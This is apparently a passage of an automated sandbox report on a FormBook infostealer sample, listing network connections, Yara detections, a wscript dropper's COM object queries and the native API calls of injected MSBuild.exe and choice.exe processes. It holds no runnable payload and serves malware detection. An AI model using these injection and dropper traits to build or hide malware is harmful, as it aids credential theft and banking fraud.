Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.137:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.67:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49802 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7464, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D4F6B2 SleepEx,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_02D4F6B2
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D4F9BE SleepEx,NtResumeThread,	0_2_02D4F9BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042CB03 NtClose,	9_2_0042CB03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2B60 NtClose,LdrInitializeThunk,	9_2_013D2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	9_2_013D2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_013D2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2CA0 NtQueryInformationToken,LdrInitializeThunk,	9_2_013D2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2F90 NtProtectVirtualMemory,LdrInitializeThunk,	9_2_013D2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D35C0 NtCreateMutant,LdrInitializeThunk,	9_2_013D35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D4340 NtSetContextThread,	9_2_013D4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D4650 NtSuspendThread,	9_2_013D4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2BA0 NtEnumerateValueKey,	9_2_013D2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2B80 NtQueryInformationFile,	9_2_013D2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2BF0 NtAllocateVirtualMemory,	9_2_013D2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2BE0 NtQueryValueKey,	9_2_013D2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2AB0 NtWaitForSingleObject,	9_2_013D2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2AF0 NtWriteFile,	9_2_013D2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2AD0 NtReadFile,	9_2_013D2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2D30 NtUnmapViewOfSection,	9_2_013D2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2D10 NtMapViewOfSection,	9_2_013D2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2D00 NtSetInformationFile,	9_2_013D2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2DB0 NtEnumerateKey,	9_2_013D2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2DD0 NtDelayExecution,	9_2_013D2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2C00 NtQueryInformationProcess,	9_2_013D2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2C60 NtCreateKey,	9_2_013D2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2CF0 NtOpenProcess,	9_2_013D2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2CC0 NtQueryVirtualMemory,	9_2_013D2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2F30 NtCreateSection,	9_2_013D2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2F60 NtCreateProcessEx,	9_2_013D2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2FB0 NtResumeThread,	9_2_013D2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2FA0 NtQuerySection,	9_2_013D2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2FE0 NtCreateFile,	9_2_013D2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2E30 NtWriteVirtualMemory,	9_2_013D2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2EA0 NtAdjustPrivilegesToken,	9_2_013D2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2E80 NtReadVirtualMemory,	9_2_013D2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D2EE0 NtQueueApcThread,	9_2_013D2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D3010 NtOpenDirectoryObject,	9_2_013D3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D3090 NtSetValueKey,	9_2_013D3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D39B0 NtGetContextThread,	9_2_013D39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D3D10 NtOpenProcessToken,	9_2_013D3D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D3D70 NtOpenThread,	9_2_013D3D70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52CA0 NtQueryInformationToken,LdrInitializeThunk,	10_2_04A52CA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52C60 NtCreateKey,LdrInitializeThunk,	10_2_04A52C60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_04A52C70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_04A52DF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52DD0 NtDelayExecution,LdrInitializeThunk,	10_2_04A52DD0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52D10 NtMapViewOfSection,LdrInitializeThunk,	10_2_04A52D10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52FE0 NtCreateFile,LdrInitializeThunk,	10_2_04A52FE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52F30 NtCreateSection,LdrInitializeThunk,	10_2_04A52F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52AF0 NtWriteFile,LdrInitializeThunk,	10_2_04A52AF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52AD0 NtReadFile,LdrInitializeThunk,	10_2_04A52AD0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52BA0 NtEnumerateValueKey,LdrInitializeThunk,	10_2_04A52BA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52BE0 NtQueryValueKey,LdrInitializeThunk,	10_2_04A52BE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_04A52BF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52B60 NtClose,LdrInitializeThunk,	10_2_04A52B60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A535C0 NtCreateMutant,LdrInitializeThunk,	10_2_04A535C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A54650 NtSuspendThread,	10_2_04A54650
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A54340 NtSetContextThread,	10_2_04A54340
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52CF0 NtOpenProcess,	10_2_04A52CF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52CC0 NtQueryVirtualMemory,	10_2_04A52CC0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52C00 NtQueryInformationProcess,	10_2_04A52C00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52DB0 NtEnumerateKey,	10_2_04A52DB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52D30 NtUnmapViewOfSection,	10_2_04A52D30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52D00 NtSetInformationFile,	10_2_04A52D00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52EA0 NtAdjustPrivilegesToken,	10_2_04A52EA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52E80 NtReadVirtualMemory,	10_2_04A52E80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52EE0 NtQueueApcThread,	10_2_04A52EE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52E30 NtWriteVirtualMemory,	10_2_04A52E30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52FA0 NtQuerySection,	10_2_04A52FA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52FB0 NtResumeThread,	10_2_04A52FB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52F90 NtProtectVirtualMemory,	10_2_04A52F90
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52F60 NtCreateProcessEx,	10_2_04A52F60
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52AB0 NtWaitForSingleObject,	10_2_04A52AB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A52B80 NtQueryInformationFile,	10_2_04A52B80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A53090 NtSetValueKey,	10_2_04A53090
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A53010 NtOpenDirectoryObject,	10_2_04A53010
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A53D10 NtOpenProcessToken,	10_2_04A53D10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A53D70 NtOpenThread,	10_2_04A53D70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A539B0 NtGetContextThread,	10_2_04A539B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B29760 NtReadFile,	10_2_02B29760
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B295F0 NtCreateFile,	10_2_02B295F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B29A70 NtAllocateVirtualMemory,	10_2_02B29A70
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B29860 NtDeleteFile,	10_2_02B29860
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B29910 NtClose,	10_2_02B29910
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D4488 NtMapViewOfSection,	10_2_048D4488
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D3429 NtSetContextThread,	10_2_048D3429
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D3749 NtSuspendThread,	10_2_048D3749
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D3D8D NtQueueApcThread,	10_2_048D3D8D
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D4851 NtUnmapViewOfSection,	10_2_048D4851
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D3A69 NtResumeThread,	10_2_048D3A69

Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D60CEE	0_2_02D60CEE
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D5A0B6	0_2_02D5A0B6
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D59182	0_2_02D59182
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D59D21	0_2_02D59D21
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2B6B8	0_2_0000023761C2B6B8
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2C257	0_2_0000023761C2C257
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C33224	0_2_0000023761C33224
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_0000023761C2C5EC	0_2_0000023761C2C5EC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B4316C9	3_2_00007FFD9B4316C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9B430BE2	3_2_00007FFD9B430BE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004189B3	9_2_004189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0042F103	9_2_0042F103
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004101D3	9_2_004101D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00402AC6	9_2_00402AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00402AD0	9_2_00402AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040437B	9_2_0040437B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00416BC3	9_2_00416BC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040E3DA	9_2_0040E3DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040E3E3	9_2_0040E3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004103F3	9_2_004103F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00402396	9_2_00402396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_004023A0	9_2_004023A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00416BBE	9_2_00416BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040E528	9_2_0040E528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040E533	9_2_0040E533
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00402F76	9_2_00402F76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00402F80	9_2_00402F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01428158	9_2_01428158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390100	9_2_01390100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143A118	9_2_0143A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014581CC	9_2_014581CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014541A2	9_2_014541A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014601AA	9_2_014601AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145A352	9_2_0145A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014603E6	9_2_014603E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE3F0	9_2_013AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014202C0	9_2_014202C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0535	9_2_013A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01460591	9_2_01460591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01452446	9_2_01452446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01444420	9_2_01444420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144E4F6	9_2_0144E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0770	9_2_013A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C4750	9_2_013C4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139C7C0	9_2_0139C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BC6E0	9_2_013BC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B6962	9_2_013B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A29A0	9_2_013A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0146A9A6	9_2_0146A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AA840	9_2_013AA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A2840	9_2_013A2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013868B8	9_2_013868B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE8F0	9_2_013CE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145AB40	9_2_0145AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01456BD7	9_2_01456BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139EA80	9_2_0139EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AAD00	9_2_013AAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143CD1F	9_2_0143CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B8DBF	9_2_013B8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139ADE0	9_2_0139ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0C00	9_2_013A0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01390CF2	9_2_01390CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440CB5	9_2_01440CB5
